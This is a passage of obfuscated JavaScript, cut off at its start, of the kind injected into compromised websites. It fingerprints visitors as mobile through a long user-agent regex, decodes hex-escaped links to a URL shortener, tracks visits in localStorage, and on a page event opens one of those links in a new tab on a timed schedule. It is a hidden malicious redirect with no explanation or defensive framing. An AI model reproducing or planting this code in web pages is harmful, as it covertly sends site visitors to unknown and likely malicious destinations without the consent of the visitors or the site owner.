turn _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x4c\x4f\x30\x63\x320','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x69\x6c\x68\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());